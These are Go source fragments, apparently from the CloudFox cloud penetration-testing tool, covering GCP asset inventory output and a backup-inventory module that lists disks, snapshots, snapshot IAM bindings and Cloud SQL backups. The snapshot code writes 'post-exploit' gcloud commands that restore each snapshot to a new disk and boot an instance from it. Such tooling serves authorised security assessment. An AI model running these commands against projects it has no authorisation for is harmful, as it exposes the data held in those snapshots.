||||
func (m *AssetInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildCountsTable(counts []assetservice.AssetTypeCount) *internal.TableFile {
|
||||
if len(counts) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Sort by count descending
|
||||
sort.Slice(counts, func(i, j int) bool {
|
||||
return counts[i].Count > counts[j].Count
|
||||
})
|
||||
|
||||
header := []string{"Asset Type", "Count"}
|
||||
var body [][]string
|
||||
for _, tc := range counts {
|
||||
body = append(body, []string{
|
||||
tc.AssetType,
|
||||
fmt.Sprintf("%d", tc.Count),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "asset-counts",
|
||||
Header: header,
|
||||
Body: body,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildAssetsTable(assets []assetservice.AssetInfo) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
if len(assets) == 0 {
|
||||
return tables
|
||||
}
|
||||
|
||||
if checkIAM {
|
||||
header := []string{"Project", "Name", "Asset Type", "Location", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
var body [][]string
|
||||
for _, asset := range assets {
|
||||
publicAccess := "No"
|
||||
if asset.PublicAccess {
|
||||
publicAccess = "Yes"
|
||||
}
|
||||
|
||||
if len(asset.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
"-",
|
||||
"-",
|
||||
publicAccess,
|
||||
})
|
||||
} else {
|
||||
for _, binding := range asset.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
binding.Role,
|
||||
member,
|
||||
publicAccess,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "assets",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
|
||||
// Public assets table
|
||||
var publicBody [][]string
|
||||
for _, asset := range assets {
|
||||
if asset.PublicAccess {
|
||||
for _, binding := range asset.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
if shared.IsPublicPrincipal(member) {
|
||||
publicBody = append(publicBody, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
asset.AssetType,
|
||||
binding.Role,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(publicBody) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "public-assets",
|
||||
Header: []string{"Project", "Name", "Asset Type", "IAM Binding Role", "IAM Binding Principal"},
|
||||
Body: publicBody,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
header := []string{"Project", "Name", "Asset Type", "Location"}
|
||||
var body [][]string
|
||||
for _, asset := range assets {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(asset.ProjectID),
|
||||
asset.Name,
|
||||
assetservice.ExtractAssetTypeShort(asset.AssetType),
|
||||
asset.Location,
|
||||
})
|
||||
}
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "assets",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildDependenciesTable(deps []ResourceDependency) *internal.TableFile {
|
||||
if len(deps) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
depsHeader := []string{"Project", "Source", "Dependency Type", "Target", "Target Type"}
|
||||
var depsBody [][]string
|
||||
for _, d := range deps {
|
||||
depsBody = append(depsBody, []string{
|
||||
m.GetProjectName(d.ProjectID),
|
||||
m.extractResourceName(d.SourceResource),
|
||||
d.DependencyType,
|
||||
m.extractResourceName(d.TargetResource),
|
||||
assetservice.ExtractAssetTypeShort(d.TargetType),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "asset-dependencies",
|
||||
Header: depsHeader,
|
||||
Body: depsBody,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildCrossProjectTable() *internal.TableFile {
|
||||
if len(m.CrossProject) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
crossHeader := []string{"Resource", "Type", "Owner Project", "Accessed From"}
|
||||
var crossBody [][]string
|
||||
for _, c := range m.CrossProject {
|
||||
crossBody = append(crossBody, []string{
|
||||
m.extractResourceName(c.ResourceName),
|
||||
assetservice.ExtractAssetTypeShort(c.ResourceType),
|
||||
c.OwnerProject,
|
||||
strings.Join(c.AccessedFrom, ", "),
|
||||
})
|
||||
}
|
||||
|
||||
return &internal.TableFile{
|
||||
Name: "cross-project-resources",
|
||||
Header: crossHeader,
|
||||
Body: crossBody,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if counts, ok := m.ProjectTypeCounts[projectID]; ok {
|
||||
if table := m.buildCountsTable(counts); table != nil {
|
||||
tableFiles = append(tableFiles, *table)
|
||||
}
|
||||
}
|
||||
|
||||
if assets, ok := m.ProjectAssets[projectID]; ok {
|
||||
tableFiles = append(tableFiles, m.buildAssetsTable(assets)...)
|
||||
}
|
||||
|
||||
if deps, ok := m.ProjectDependencies[projectID]; ok {
|
||||
if table := m.buildDependenciesTable(deps); table != nil {
|
||||
tableFiles = append(tableFiles, *table)
|
||||
}
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Get all project IDs that have data
|
||||
projectIDs := make(map[string]bool)
|
||||
for projectID := range m.ProjectAssets {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectTypeCounts {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectDependencies {
|
||||
projectIDs[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectIDs {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = AssetInventoryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Add cross-project table at org level if we have hierarchy and cross-project data
|
||||
if crossTable := m.buildCrossProjectTable(); crossTable != nil && m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
|
||||
orgID := m.Hierarchy.Organizations[0].ID
|
||||
outputData.OrgLevelData[orgID] = AssetInventoryOutput{
|
||||
Table: []internal.TableFile{*crossTable},
|
||||
Loot: nil,
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AssetInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
allCounts := m.getAllTypeCounts()
|
||||
if table := m.buildCountsTable(allCounts); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
allAssets := m.getAllAssets()
|
||||
tables = append(tables, m.buildAssetsTable(allAssets)...)
|
||||
|
||||
allDeps := m.getAllDependencies()
|
||||
if table := m.buildDependenciesTable(allDeps); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
if table := m.buildCrossProjectTable(); table != nil {
|
||||
tables = append(tables, *table)
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AssetInventoryOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,885 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"google.golang.org/api/compute/v1"
|
||||
sqladmin "google.golang.org/api/sqladmin/v1beta4"
|
||||
)
|
||||
|
||||
// Module name constant
|
||||
const GCP_BACKUPINVENTORY_MODULE_NAME string = "backup-inventory"
|
||||
|
||||
var GCPBackupInventoryCommand = &cobra.Command{
|
||||
Use: GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
Aliases: []string{"backups", "backup", "snapshots", "dr"},
|
||||
Short: "Enumerate backup policies, protected resources, and identify backup gaps",
|
||||
Long: `Inventory backup and disaster recovery configurations across GCP resources.
|
||||
|
||||
Features:
|
||||
- Compute Engine disk snapshots and snapshot schedules
|
||||
- Cloud SQL automated backups and point-in-time recovery
|
||||
- Identifies unprotected resources (no backup coverage)
|
||||
- Analyzes backup retention policies
|
||||
- Checks for stale or failing backups`,
|
||||
Run: runGCPBackupInventoryCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Data Structures
|
||||
// ------------------------------
|
||||
|
||||
type BackupResource struct {
|
||||
ProjectID string
|
||||
Name string
|
||||
ResourceType string // compute-disk, cloudsql-instance
|
||||
Location string
|
||||
SizeGB int64
|
||||
Protected bool
|
||||
BackupType string // snapshot, automated, none
|
||||
Schedule string
|
||||
RetentionDays int
|
||||
LastBackup string
|
||||
BackupCount int
|
||||
BackupStatus string
|
||||
PITREnabled bool
|
||||
BackupLocation string
|
||||
}
|
||||
|
||||
type IAMBinding struct {
|
||||
Role string
|
||||
Members []string
|
||||
}
|
||||
|
||||
type ComputeSnapshot struct {
|
||||
ProjectID string
|
||||
Name string
|
||||
SourceDisk string
|
||||
Status string
|
||||
DiskSizeGB int64
|
||||
StorageBytes int64
|
||||
CreationTime string
|
||||
StorageLocats []string
|
||||
AutoCreated bool
|
||||
SnapshotType string
|
||||
IAMBindings []IAMBinding
|
||||
PublicAccess bool
|
||||
EncryptionType string
|
||||
KMSKeyName string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type BackupInventoryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectResources map[string][]BackupResource // projectID -> resources
|
||||
ProjectSnapshots map[string][]ComputeSnapshot // projectID -> snapshots
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
|
||||
// Tracking maps
|
||||
disksWithBackups map[string]bool
|
||||
sqlWithBackups map[string]bool
|
||||
allDisks map[string]diskInfo
|
||||
allSQLInstances map[string]sqlInstanceInfo
|
||||
}
|
||||
|
||||
type diskInfo struct {
|
||||
SizeGB int64
|
||||
Zone string
|
||||
ProjectID string
|
||||
Name string
|
||||
}
|
||||
|
||||
type sqlInstanceInfo struct {
|
||||
ProjectID string
|
||||
Region string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type BackupInventoryOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BackupInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BackupInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPBackupInventoryCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BackupInventoryModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectResources: make(map[string][]BackupResource),
|
||||
ProjectSnapshots: make(map[string][]ComputeSnapshot),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
disksWithBackups: make(map[string]bool),
|
||||
sqlWithBackups: make(map[string]bool),
|
||||
allDisks: make(map[string]diskInfo),
|
||||
allSQLInstances: make(map[string]sqlInstanceInfo),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Inventorying backup configurations...", GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
|
||||
computeService, err := compute.NewService(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create Compute service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
sqlService, err := sqladmin.NewService(ctx)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create SQL Admin service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProject(ctx, project, computeService, sqlService, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// Identify unprotected resources
|
||||
m.identifyUnprotectedResources()
|
||||
|
||||
allResources := m.getAllResources()
|
||||
allSnapshots := m.getAllSnapshots()
|
||||
|
||||
if len(allResources) == 0 && len(allSnapshots) == 0 {
|
||||
logger.InfoM("No backup data found", GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count protected vs unprotected
|
||||
protectedCount := 0
|
||||
unprotectedCount := 0
|
||||
for _, r := range allResources {
|
||||
if r.Protected {
|
||||
protectedCount++
|
||||
} else {
|
||||
unprotectedCount++
|
||||
}
|
||||
}
|
||||
|
||||
// Count public snapshots
|
||||
publicSnapshotCount := 0
|
||||
for _, s := range allSnapshots {
|
||||
if s.PublicAccess {
|
||||
publicSnapshotCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d resource(s): %d protected, %d unprotected, %d snapshot(s)",
|
||||
len(allResources), protectedCount, unprotectedCount, len(allSnapshots)), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
|
||||
if unprotectedCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d resource(s) without backup coverage", unprotectedCount), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
if publicSnapshotCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible snapshot(s)!", publicSnapshotCount), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getAllResources() []BackupResource {
|
||||
var all []BackupResource
|
||||
for _, resources := range m.ProjectResources {
|
||||
all = append(all, resources...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) getAllSnapshots() []ComputeSnapshot {
|
||||
var all []ComputeSnapshot
|
||||
for _, snapshots := range m.ProjectSnapshots {
|
||||
all = append(all, snapshots...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) processProject(ctx context.Context, projectID string, computeService *compute.Service, sqlService *sqladmin.Service, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating backups for project: %s", projectID), GCP_BACKUPINVENTORY_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// List all disks first (for gap analysis)
|
||||
m.enumerateDisks(ctx, projectID, computeService, logger)
|
||||
|
||||
// List snapshots
|
||||
m.enumerateSnapshots(ctx, projectID, computeService, logger)
|
||||
|
||||
// List SQL instances and backups
|
||||
if sqlService != nil {
|
||||
m.enumerateSQLBackups(ctx, projectID, sqlService, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateDisks(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
|
||||
req := computeService.Disks.AggregatedList(projectID)
|
||||
err := req.Pages(ctx, func(page *compute.DiskAggregatedList) error {
|
||||
for zone, diskList := range page.Items {
|
||||
if diskList.Disks == nil {
|
||||
continue
|
||||
}
|
||||
for _, disk := range diskList.Disks {
|
||||
m.mu.Lock()
|
||||
m.allDisks[disk.SelfLink] = diskInfo{
|
||||
SizeGB: disk.SizeGb,
|
||||
Zone: m.extractZoneFromURL(zone),
|
||||
ProjectID: projectID,
|
||||
Name: disk.Name,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate disks in project %s", projectID))
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateSnapshots(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
|
||||
req := computeService.Snapshots.List(projectID)
|
||||
err := req.Pages(ctx, func(page *compute.SnapshotList) error {
|
||||
for _, snapshot := range page.Items {
|
||||
// Determine encryption type and KMS key name
|
||||
encryptionType := "Google-managed"
|
||||
kmsKeyName := ""
|
||||
if snapshot.SnapshotEncryptionKey != nil {
|
||||
if snapshot.SnapshotEncryptionKey.KmsKeyName != "" {
|
||||
encryptionType = "CMEK"
|
||||
kmsKeyName = snapshot.SnapshotEncryptionKey.KmsKeyName
|
||||
} else if snapshot.SnapshotEncryptionKey.RawKey != "" || snapshot.SnapshotEncryptionKey.Sha256 != "" {
|
||||
encryptionType = "CSEK"
|
||||
}
|
||||
}
|
||||
|
||||
snap := ComputeSnapshot{
|
||||
ProjectID: projectID,
|
||||
Name: snapshot.Name,
|
||||
SourceDisk: snapshot.SourceDisk,
|
||||
Status: snapshot.Status,
|
||||
DiskSizeGB: snapshot.DiskSizeGb,
|
||||
StorageBytes: snapshot.StorageBytes,
|
||||
CreationTime: snapshot.CreationTimestamp,
|
||||
StorageLocats: snapshot.StorageLocations,
|
||||
AutoCreated: snapshot.AutoCreated,
|
||||
SnapshotType: snapshot.SnapshotType,
|
||||
EncryptionType: encryptionType,
|
||||
KMSKeyName: kmsKeyName,
|
||||
}
|
||||
|
||||
// Get IAM policy for this snapshot
|
||||
iamPolicy, iamErr := computeService.Snapshots.GetIamPolicy(projectID, snapshot.Name).Context(ctx).Do()
|
||||
if iamErr == nil && iamPolicy != nil {
|
||||
for _, binding := range iamPolicy.Bindings {
|
||||
snap.IAMBindings = append(snap.IAMBindings, IAMBinding{
|
||||
Role: binding.Role,
|
||||
Members: binding.Members,
|
||||
})
|
||||
// Check for public access
|
||||
for _, member := range binding.Members {
|
||||
if shared.IsPublicPrincipal(member) {
|
||||
snap.PublicAccess = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectSnapshots[projectID] = append(m.ProjectSnapshots[projectID], snap)
|
||||
m.disksWithBackups[snapshot.SourceDisk] = true
|
||||
|
||||
// Add post-exploit commands for snapshots
|
||||
if m.LootMap[projectID] != nil {
|
||||
if lootFile := m.LootMap[projectID]["backup-inventory-commands"]; lootFile != nil {
|
||||
// Determine a zone from storage locations or use a default
|
||||
zone := "us-central1-a"
|
||||
if len(snapshot.StorageLocations) > 0 {
|
||||
zone = snapshot.StorageLocations[0] + "-a"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# SNAPSHOT: %s (Source: %s, Size: %dGB)\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Create a disk from this snapshot\n"+
|
||||
"gcloud compute disks create disk-from-%s \\\n"+
|
||||
" --project=%s \\\n"+
|
||||
" --zone=%s \\\n"+
|
||||
" --source-snapshot=%s\n\n"+
|
||||
"# Create an instance using a disk from this snapshot\n"+
|
||||
"gcloud compute instances create instance-from-%s \\\n"+
|
||||
" --project=%s \\\n"+
|
||||
" --zone=%s \\\n"+
|
||||
" --disk=name=disk-from-%s,boot=yes\n\n",
|
||||
snapshot.Name, m.extractDiskName(snapshot.SourceDisk), snapshot.DiskSizeGb,
|
||||
snapshot.Name, projectID, zone, snapshot.Name,
|
||||
snapshot.Name, projectID, zone, snapshot.Name,
|
||||
)
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate snapshots in project %s", projectID))
|
||||
}
|
||||
|
||||
// Track protected resources from snapshots
|
||||
m.trackSnapshotProtection(projectID)
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) trackSnapshotProtection(projectID string) {
|
||||
m.mu.Lock()
|
||||
projectSnapshots := m.ProjectSnapshots[projectID]
|
||||
m.mu.Unlock()
|
||||
|
||||
// Group snapshots by source disk
|
||||
diskSnapshots := make(map[string][]ComputeSnapshot)
|
||||
for _, snap := range projectSnapshots {
|
||||
diskSnapshots[snap.SourceDisk] = append(diskSnapshots[snap.SourceDisk], snap)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
for diskURL, snaps := range diskSnapshots {
|
||||
// Find latest snapshot
|
||||
var latestTime time.Time
|
||||
var latestSnap ComputeSnapshot
|
||||
for _, snap := range snaps {
|
||||
t, err := time.Parse(time.RFC3339, snap.CreationTime)
|
||||
if err == nil && t.After(latestTime) {
|
||||
latestTime = t
|
||||
latestSnap = snap
|
||||
}
|
||||
}
|
||||
|
||||
diskInfo := m.allDisks[diskURL]
|
||||
backupStatus := latestSnap.Status
|
||||
|
||||
// Calculate age of last backup
|
||||
if !latestTime.IsZero() {
|
||||
age := time.Since(latestTime)
|
||||
if age > 7*24*time.Hour {
|
||||
backupStatus = "STALE"
|
||||
} else {
|
||||
backupStatus = "CURRENT"
|
||||
}
|
||||
}
|
||||
|
||||
resource := BackupResource{
|
||||
ProjectID: projectID,
|
||||
Name: m.extractDiskName(diskURL),
|
||||
ResourceType: "compute-disk",
|
||||
Location: diskInfo.Zone,
|
||||
SizeGB: diskInfo.SizeGB,
|
||||
Protected: true,
|
||||
BackupType: "snapshot",
|
||||
LastBackup: latestSnap.CreationTime,
|
||||
BackupCount: len(snaps),
|
||||
BackupStatus: backupStatus,
|
||||
BackupLocation: strings.Join(latestSnap.StorageLocats, ","),
|
||||
}
|
||||
|
||||
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BackupInventoryModule) enumerateSQLBackups(ctx context.Context, projectID string, sqlService *sqladmin.Service, logger internal.Logger) {
|
||||
instances, err := sqlService.Instances.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate SQL instances in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, instance := range instances.Items {
|
||||
m.mu.Lock()
|
||||
m.allSQLInstances[instance.Name] = sqlInstanceInfo{
|
||||
ProjectID: projectID,
|
||||
Region: instance.Region,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
// Check backup configuration
|
||||
backupEnabled := false
|
||||
pitrEnabled := false
|
||||
var retentionDays int
|
||||
var backupStartTime string
|
||||
|
||||
if instance.Settings != nil && instance.Settings.BackupConfiguration != nil {
|
||||
backupEnabled = instance.Settings.BackupConfiguration.Enabled
|
||||
pitrEnabled = instance.Settings.BackupConfiguration.PointInTimeRecoveryEnabled
|
||||
retentionDays = int(instance.Settings.BackupConfiguration.TransactionLogRetentionDays)
|
||||
backupStartTime = instance.Settings.BackupConfiguration.StartTime
|
||||
}
|
||||
|
||||
if backupEnabled {
|
||||
m.mu.Lock()
|
||||
m.sqlWithBackups[instance.Name] = true
|
||||
m.mu.Unlock()
|
||||
|
||||
// List actual backups for this instance
|
||||
backups, err := sqlService.BackupRuns.List(projectID, instance.Name).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var latestBackupTime string
|
||||
var latestStatus string
|
||||
var latestLocation string
|
||||
backupCount := 0
|
||||
|
||||
for _, backup := range backups.Items {
|
||||
backupCount++
|
||||
if latestBackupTime == "" || backup.StartTime > latestBackupTime {
|
||||
latestBackupTime = backup.StartTime
|
||||
latestStatus = backup.Status
|
||||
latestLocation = backup.Location
|
||||
}
|
||||
}
|
||||
|
||||
resource := BackupResource{
|
||||
ProjectID: projectID,
|
||||
Name: instance.Name,
|
||||
ResourceType: "cloudsql-instance",
|
||||
Location: instance.Region,
|
||||
Protected: true,
|
||||
BackupType: "automated",
|
||||
Schedule: fmt.Sprintf("Daily at %s", backupStartTime),
|
||||
RetentionDays: retentionDays,
|
||||
LastBackup: latestBackupTime,
|
||||
BackupCount: backupCount,
|
||||
BackupStatus: latestStatus,
|
||||
PITREnabled: pitrEnabled,
|
||||
BackupLocation: latestLocation,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Gap Analysis
|
||||
// ------------------------------
|
||||
func (m *BackupInventoryModule) identifyUnprotectedResources() {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
// Find disks without snapshots
|
||||
for diskURL, info := range m.allDisks {
|
||||
if !m.disksWithBackups[diskURL] {
|
||||
resource := BackupResource{
|
||||
ProjectID: info.ProjectID,
|
||||
Name: info.Name,
|
||||
ResourceType: "compute-disk",
|
||||
Location: info.Zone,
|
||||
SizeGB: info.SizeGB,
|
||||
Protected: false,
|
||||
BackupType: "none",
|
||||
}
|
||||
|
||||
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
|
||||
|
||||
// Add to loot (ensure project loot is initialized)
|
||||
if m.LootMap[info.ProjectID] == nil {
|
||||
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
|
||||
Name: "backup-inventory-commands",
|
||||
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
// No loot commands for unprotected disks - these are informational only
|
||||
}
|
||||
}
|
||||
|
||||
// Find SQL instances without backups
|
||||
